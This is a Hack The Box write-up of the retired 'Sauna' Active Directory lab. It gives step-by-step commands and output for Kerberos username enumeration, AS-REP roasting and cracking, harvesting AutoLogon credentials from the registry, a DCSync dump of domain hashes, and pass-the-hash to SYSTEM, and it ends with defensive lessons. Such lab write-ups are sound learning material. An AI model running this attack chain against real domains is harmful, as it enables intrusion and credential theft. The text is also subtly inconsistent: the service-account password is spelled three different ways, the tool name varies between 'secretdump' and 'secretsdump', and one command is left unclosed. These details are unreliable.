



RETIRED MACHINE

Sauna

Machine Writeup · Hack The Box

4.5 ★

RATING

Easy

DIFFICULTY

Windows

OS

16,841

USER OWNS

15,209

SYSTEM OWNS

20

POINTS

MACHINE SYNOPSIS

Sauna is an Easy Windows Active Directory machine themed around Egotistical Bank. Port 80 hosts the bank website listing staff names. Combining first name initials with last names (e.g. fsmith) and testing against Kerberos with kerbrute reveals two valid accounts: hsmith and fsmith. fsmith has Kerberos pre-authentication disabled (DONT_REQ_PREAUTH), enabling AS-REP Roasting. The captured AS-REP hash is cracked with john: Thestrokes23. fsmith has WinRM access (Pwn3d!) and the user flag is on the Desktop. WinPEAS run from the fsmith session discovers AutoLogon credentials for svc_loanmgr (Moneymaketheworldgoround!) in the registry. BloodHound reveals svc_loanmgr has DCSync rights (GetChangesAll) on the domain. impacket-secretsdump dumps all domain hashes including Administrator (823452073d75b9d1cf70ebdf86c7f98e). impacket-psexec Pass-the-Hash delivers NT AUTHORITY\SYSTEM.

CONTENTS

01 Reconnaissance & Web Enumeration

02 Username Generation from Website + kerbrute

03 AS-REP Roasting fsmith → john → Thestrokes23

04 fsmith — WinRM Access & User Flag

05 WinPEAS — AutoLogon svc_loanmgr Credentials

06 BloodHound — svc_loanmgr DCSync Rights

07 secretsdump DCSync → Administrator PtH → SYSTEM

08 Lessons Learned



Martí Hervás
Penetration Tester · Hack The Box · 2026

01

Reconnaissance & Web Enumeration

TTL 127 confirms Windows. Nmap reveals a full AD DC stack plus **port 80 (Microsoft IIS 10.0)** with title 'Egotistical Bank :: Home'. Domain is **EGOTISTICAL-BANK.LOCAL**, hostname **SAUNA**, Windows Server 2019 Build 17763. Clock-skew is 7 hours — sync required for Kerberos operations. SMB Guest access is disabled. The bank website on port 80 lists employee names on the 'Meet the Team' page — these become username candidates for Kerberos enumeration.

NMAP — DC STACK + PORT 80 BANK WEBSITE

nmap — EGOTISTICAL-BANK.LOCAL SAUNA, port 80 bank website

```
$ ping -c 1 10.129.95.180 # TTL 127 -> Windows

$ nmap -Pn -n --open -p- --min-rate 5000 10.129.95.180 -oG allPorts
[*] Open ports: 53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,...

80/tcp    open  http      Microsoft IIS httpd 10.0
         Title: Egotistical Bank :: Home <- bank website!
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos
389/tcp   open  ldap      (Domain: EGOTISTICAL-BANK.LOCAL)
445/tcp   open  smb       signing:True SMBv1:None
5985/tcp  open  http      Microsoft HTTPAPI 2.0 <- WinRM
|_clock-skew: 7h00m01s <- sync with: sudo ntpdate 10.129.95.180
Service Info: Host: SAUNA; OS: Windows Server 2019 Build 17763
```

WEBSITE — STAFF NAMES ON 'MEET THE TEAM' PAGE

website — 6 employee names scraped from Meet the Team page

```
# http://EGOTISTICAL-BANK.LOCAL/ -> static bank website
# /about.html or team page lists employee names:

Fergus Smith      <- fsmith, fergus.smith, f.smith
Hugo Bear         <- hbear, hugo.bear
Steven Kerb       <- skerb, steven.kerb
Bowie Taylor      <- btaylor, bowie.taylor
Sophie Driver     <- sdriver, sophie.driver
Shaun Coins       <- scoins, shaun.coins

# Common AD username formats to test:
# firstname.lastname, firstnamelastname, flastname (fsmith), etc.
# -> Create users.txt with all permutations -> test with kerbrute
```

02

Username Generation + kerbrute Validation

The 6 staff names from the website are used to generate username candidates in multiple AD formats: lastname, firstname.lastname, f.lastname, firstlast. kerbrute userenum tests each against Kerberos port 88 to validate existence without triggering lockouts (Kerberos username enumeration does not cause bad password counts). Two valid accounts are found: **hsmith** and **fsmith**. Critically, kerbrute simultaneously detects that **fsmith** has **DONT_REQ_PREAUTH** set — the AS-REP Roasting flag — and automatically captures the AS-REP hash for offline cracking.

USERNAME GENERATION — COMMON AD FORMATS

users.txt — ~40 candidates from 6 staff names in multiple formats

```
# users.txt — permutations from website names:
fsmith      fergus.smith  f.smith      fergussmith
hbear       hugo.bear     h.bear       hugobear
skerb       steven.kerb   s.kerb       stevenkerb
btaylor     bowie.taylor  b.taylor     bowietaylor
sdriver     sophie.driver s.driver     sophiedriver
scoins      shaun.coins   s.coins      shauncoins

# Also common: administrator, guest, krbtgt
# Total ~40 username candidates in users.txt
```

KERBRUTE — VALID USERS + AS-REP HASH CAPTURED

kerbrute — hsmith + fsmith valid; fsmith AS-REP hash auto-captured

```
$ kerbrute userenum -d EGOTISTICAL-BANK.LOCAL \
  --dc 10.129.95.180 users.txt

[+] VALID USERNAME: hsmith@EGOTISTICAL-BANK.LOCAL
[+] fsmith has no pre auth required. Dumping hash to crack offline:
$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:986b76009ae0695460...
...3e9a3e2f634c1beec2028063bd929810...63ea20437700353a32edbae45a0fc...
[+] VALID USERNAME: fsmith@EGOTISTICAL-BANK.LOCAL

Done! Tested 40 usernames (2 valid) in 0.139 seconds

# fsmith: DONT_REQ_PREAUTH set -> AS-REP Roastable!
# kerbrute auto-dumps the AS-REP hash -> save to fsmith_hash
```

NOTE

Kerberos username enumeration via AS-REQ does NOT increment the BadPwdCount attribute — it cannot trigger account lockout. This makes kerbrute a safe way to validate usernames. When DONT_REQ_PREAUTH is set, the KDC returns an AS-REP without verifying identity — kerbrute captures this automatically. Use --downgrade in kerbrute to force etype 23 (RC4) for faster cracking.

03

AS-REP Roasting fsmith → john → Thestrokes23

The **AS-REP Roast** attack works because fsmith has **DONT_REQ_PREAUTH** (UF_DONT_REQUIRE_PREAUTH) set in their userAccountControl attribute. When this flag is set, any attacker can request a Kerberos AS-REP for that user without knowing their password. The AS-REP contains a session key encrypted with the user's password hash (etype 23 = RC4-HMAC) — crackable offline. John the Ripper cracks the hash in 10 seconds from rockyou.txt: **Thestrokes23**. Alternatively, **GetNPUsers.py** can be used to request the AS-REP without kerbrute if DONT_REQ_PREAUTH accounts are already known.

ALTERNATIVE: GetNPUsers.py (if kerbrute not used)

GetNPUsers.py — alternative AS-REP capture method

```
# Request AS-REP for known user without pre-auth:
$ impacket-GetNPUsers EGOTISTICAL-BANK.LOCAL/fsmith \
  -no-pass -dc-ip 10.129.95.180

# Or enumerate ALL accounts without pre-auth required:
$ impacket-GetNPUsers EGOTISTICAL-BANK.LOCAL/ \
  -usersfile users.txt -no-pass -dc-ip 10.129.95.180

# Output: $krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:986b76...
# (same hash as captured by kerbrute above)
```

JOHN — CRACK AS-REP HASH → Thestrokes23

john — fsmith AS-REP hash cracked: Thestrokes23 in 10 seconds

```
# Save hash from kerbrute to file:
# fsmith_hash contains: $krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:...

$ john -w:/usr/share/wordlists/rockyou.txt fsmith_hash
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP)
  etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x]
Will run 5 OpenMP threads

Thestrokes23      ($krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL)
1g 0:00:00:10 DONE -- 0.09140g/s 963393p/s

# Credentials: fsmith : Thestrokes23
```

CREDENTIAL VALIDATION + SMB SHARES

netexec — fsmith valid, RICOH printer share, WinRM Pwn3d!

```
$ nxc smb 10.129.95.180 -u 'fsmith' -p 'Thestrokes23'
SMB SAUNA [+] EGOTISTICAL-BANK.LOCAL\fsmith:Thestrokes23

$ nxc smb 10.129.95.180 -u fsmith -p 'Thestrokes23' --shares
SMB SAUNA RICOH Aficio SP 8300DN PCL 6 WRITE 'We cant print money'

$ nxc winrm 10.129.95.180 -u 'fsmith' -p 'Thestrokes23'
WINRM SAUNA [+] EGOTISTICAL-BANK.LOCAL\fsmith:Thestrokes23 (Pwn3d!)
```

04

fsmith — WinRM Access & User Flag

evil-winrm connects as **EGOTISTICAL-BANK\fsmith**. The user flag is on FSmith's Desktop. Post-exploitation enumeration with **WinPEAS** is the next step to find privilege escalation paths. WinPEAS is uploaded to the target and executed.

EVIL-WINRM — fsmith SHELL + USER FLAG

evil-winrm — fsmith shell, user flag obtained

```
$ evil-winrm -i 10.129.95.180 -u 'fsmith' -p 'Thestrokes23'

*Evil-WinRM* PS C:\Users\FSmith\Desktop> type user.txt
c2f3a2c98e4128c856092f82*****
```

05

WinPEAS — AutoLogon svc_loanmgr Credentials

WinPEAS is uploaded to the target and run for comprehensive privilege escalation enumeration. Among its many checks, WinPEAS scans the Windows registry for **AutoLogon credentials** stored at HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon. It finds the **svc_loanmgr** service account's password stored in cleartext: **Moneymaketheworldgoround!**. This is the DefaultPassword registry value — set when AutoLogon is configured for a service account. NetExec confirms svc_loanmgr has WinRM access (Pwn3d!).

WINPEAS — UPLOAD + EXECUTE

WinPEAS — AutoLogon registry: svc_loanmgr:Moneymakestheworldgoround!

```

   Upload WinPEAS via evil-winrm:
*Evil-WinRM* PS C:\Users\FSmith\Desktop> upload winPEASx64.exe
Info: Upload successful!

*Evil-WinRM* PS C:\Users\FSmith\Desktop> ./winPEASx64.exe

# WinPEAS output (AutoLogon section):
[+] Looking for AutoLogon credentials
  DefaultDomainName      : EGOTISTICALBANK
  DefaultUserName        : EGOTISTICALBANK\svc_loanmgr
  DefaultPassword        : Moneymakestheworldgoround! <- CLEARTEXT!

# Credentials found: svc_loanmgr : Moneymakestheworldgoround!

```

VALIDATE svc_loanmgr — WinRM Pwn3d!

svc_loanmgr WinRM Pwn3d! — new foothold established

```

   $ nxc smb 10.129.95.180 -u 'svc_loanmgr' -p 'Moneymakestheworldgoround!'
SMB  SAUNA  [+] EGOTISTICAL-BANK.LOCAL\svc_loanmgr:Moneymakestheworldgoround!

$ nxc winrm 10.129.95.180 -u 'svc_loanmgr' -p 'Moneymakestheworldgoround!'
WINRM  SAUNA  [+] EGOTISTICAL-BANK.LOCAL\svc_loanmgr:Moneymakestheworldgoround! (Pwn3d!)

$ evil-winrm -i 10.129.95.180 -u 'svc_loanmgr' -p 'Moneymakestheworldgoround!'
*Evil-WinRM* PS C:\Users\svc_loanmgr\Documents> whoami
egotisticalbank\svc_loanmgr

```

NOTE

AutoLogon stores credentials in HKLM\...\Winlogon\DefaultPassword in cleartext for automatic desktop login. Service accounts should NEVER use AutoLogon — use Windows Service accounts configured via Services.msc or Group Policy. WinPEAS checks this registry key by default. Alternatively: `reg query 'HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon'` manually retrieves the same information.

06

BloodHound — svc_loanmgr DCSync Rights

SharpHound is uploaded and executed from the svc_loanmgr session. BloodHound analysis reveals the critical privilege: **svc_loanmgr has DS-Replication-Get-Changes-All** (GetChangesAll) and **DS-Replication-Get-Changes** on the domain object — together, these constitute full **DCSync rights**. With DCSync rights, svc_loanmgr can impersonate a domain controller and request all password hashes via the MS-DRSR (Directory Replication) protocol using `impacket-secretsdump`. No need for SharpHound — `secretsdump` can be run directly.

SHARPHOUND + BLOODHOUND — DCSync PATH

BloodHound — svc_loanmgr GetChanges + GetChangesAll = DCSync

```
# Upload SharpHound to svc_loanmgr session:
*Evil-WinRM* PS > upload SharpHound.exe
*Evil-WinRM* PS > ./SharpHound.exe -c All
*Evil-WinRM* PS > download 20260603_BloodHound.zip

# BloodHound shows (svc_loanmgr outbound rights):

svc_loanmgr --[GetChangesAll]-----> EGOTISTICAL-BANK.LOCAL (domain)
svc_loanmgr --[GetChanges]-----> EGOTISTICAL-BANK.LOCAL (domain)

# Both GetChanges + GetChangesAll = full DCSync rights
# -> secretdump can replicate ALL domain password hashes
```

NOTE

DCSync requires two AD permissions on the domain object: DS-Replication-Get-Changes AND DS-Replication-Get-Changes-All. These are normally only held by Domain Controllers and privileged replication accounts. A regular user account with these permissions is a critical finding. Detect with: `Get-ObjectAcl -DistinguishedName 'DC=EGOTISTICAL-BANK,DC=LOCAL' | Where-Object {$_.ActiveDirectoryRights -like '*ExtendedRight*'}`

07

secretdump DCSync → Administrator Pth → NT AUTHORITY\SYSTEM

impacket-secretdump performs DCSync with svc_loanmgr's credentials, dumping all domain password hashes. The Administrator NTLM hash **823452073d75b9d1cf70ebdf86c7f98e** is extracted. NetExec validates the hash (Pwn3d!).
impacket-psexec with the -hashes flag (Pass-the-Hash) delivers **NT AUTHORITY\SYSTEM** and the root flag.

IMPACKET-SECRETDUMP — DCSync ALL DOMAIN HASHES

secretdump DCSync — full domain hash dump via svc_loanmgr

```
$ impacket-secretdump \
'EGOTISTICAL-BANK.LOCAL/svc_loanmgr:Moneythesheworldgoround!@10.129.95.180

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets

Administrator:500:aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:4a8899428cad97676ff802229e466e2c:::
EGOTISTICAL-BANK.LOCAL\HSmith:1103:::58a52d36c84fb7f5f1beab9a201db1dd:::
EGOTISTICAL-BANK.LOCAL\FSmith:1105:::58a52d36c84fb7f5f1beab9a201db1dd:::
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:1108:::9cb31797c39a9b170b04058ba2bba48c:::
[*] Cleaning up..

# Administrator NTLM: 823452073d75b9d1cf70ebdf86c7f98e
```


PASS-THE-HASH → NT AUTHORITY\SYSTEM + ROOT FLAG

psexec Pth — SYSTEM shell, root flag. Domain fully compromised!

```
# Validate hash first:
$ nxc smb 10.129.95.180 -u Administrator \
-H '823452073d75b9d1cf70ebdf86c7f98e'
SMB SAUNA [+] EGOTISTICAL-BANK.LOCAL\Administrator:... (Pwn3d!)

# psexec Pass-the-Hash:
$ impacket-psexec \
'EGOTISTICAL-BANK.LOCAL/administrator:@SAUNA.EGOTISTICAL-BANK.LOCAL' \
-hashes 'aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e'

[*] Found writable share ADMIN$
[*] Creating service CdAb on SAUNA.EGOTISTICAL-BANK.LOCAL....
Microsoft Windows [Version 10.0.17763.973]
C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
322d1ced1610be114353bdf*****
```

NOTE

Note that HSmith and FSmith share the same NTLM hash (58a52d36...) — both users have identical passwords, which is a security risk. DCSync via DR5UAPI is performed entirely over the network — no code execution on the DC is required. The only traces are Windows Event IDs 4662 (object access with DS-Replication) on the DC. Monitor for non-DC accounts triggering these events.

08**Lessons Learned****01****Staff Names on Public Websites Enable Username Enumeration**

The bank website listed 6 employee full names on the Meet the Team page. Combining common AD username formats (lastname, firstname.lastname) with kerbrute Kerberos enumeration found two valid accounts. Public-facing websites should never disclose employee usernames or full names in formats that directly map to Active Directory accounts. Use display names or job titles without identifying the account format.

02**DONT_REQ_PREAUTH Enables AS-REP Roasting Without Any Credentials**

fsmith's DONT_REQ_PREAUTH flag allowed capturing an AS-REP hash without knowing any credentials. kerbrute detected this automatically. Run: Get-ADUser -Filter {DoesNotRequirePreAuth -eq \$true} -Properties * to audit all AS-REP Roastable accounts. DONT_REQ_PREAUTH should only be set for specific legacy compatibility requirements and those accounts must use 25+ character random passwords to resist offline cracking.

03**AutoLogon Stores Service Account Passwords in Cleartext Registry**

svc_loanmgr's password was stored in HKLM\...\Winlogon\DefaultPassword — readable by any local administrator and visible to WinPEAS. AutoLogon is designed for unattended kiosk systems, not service accounts. Use Windows Managed Service Accounts (gMSA) for service credentials, which rotate automatically and are never readable in cleartext.

04

DCSync Rights on a Regular Account Enable Full Domain Compromise

svc_loanmgr had DS-Replication-Get-Changes-All — normally reserved for Domain Controllers. With this right, any attacker can replicate all domain password hashes offline without touching NTDS.DIT on disk. Audit extended rights on the domain object with BloodHound or PowerView. Only DC machine accounts and specific replication services should hold DS-Replication rights.

05

Shared NTLM Hashes Indicate Password Reuse Across Accounts

HSmith and FSmith had identical NTLM hashes — the same password on two different accounts. This allows lateral movement from one compromised account to another without any additional cracking. Enforce unique password policies via AD Fine-Grained Password Policies, and implement a password manager or PAM solution to prevent employees from reusing passwords across accounts.

Writeup authored by Marti Hervas · Hack The Box · Sauna Machine · 2026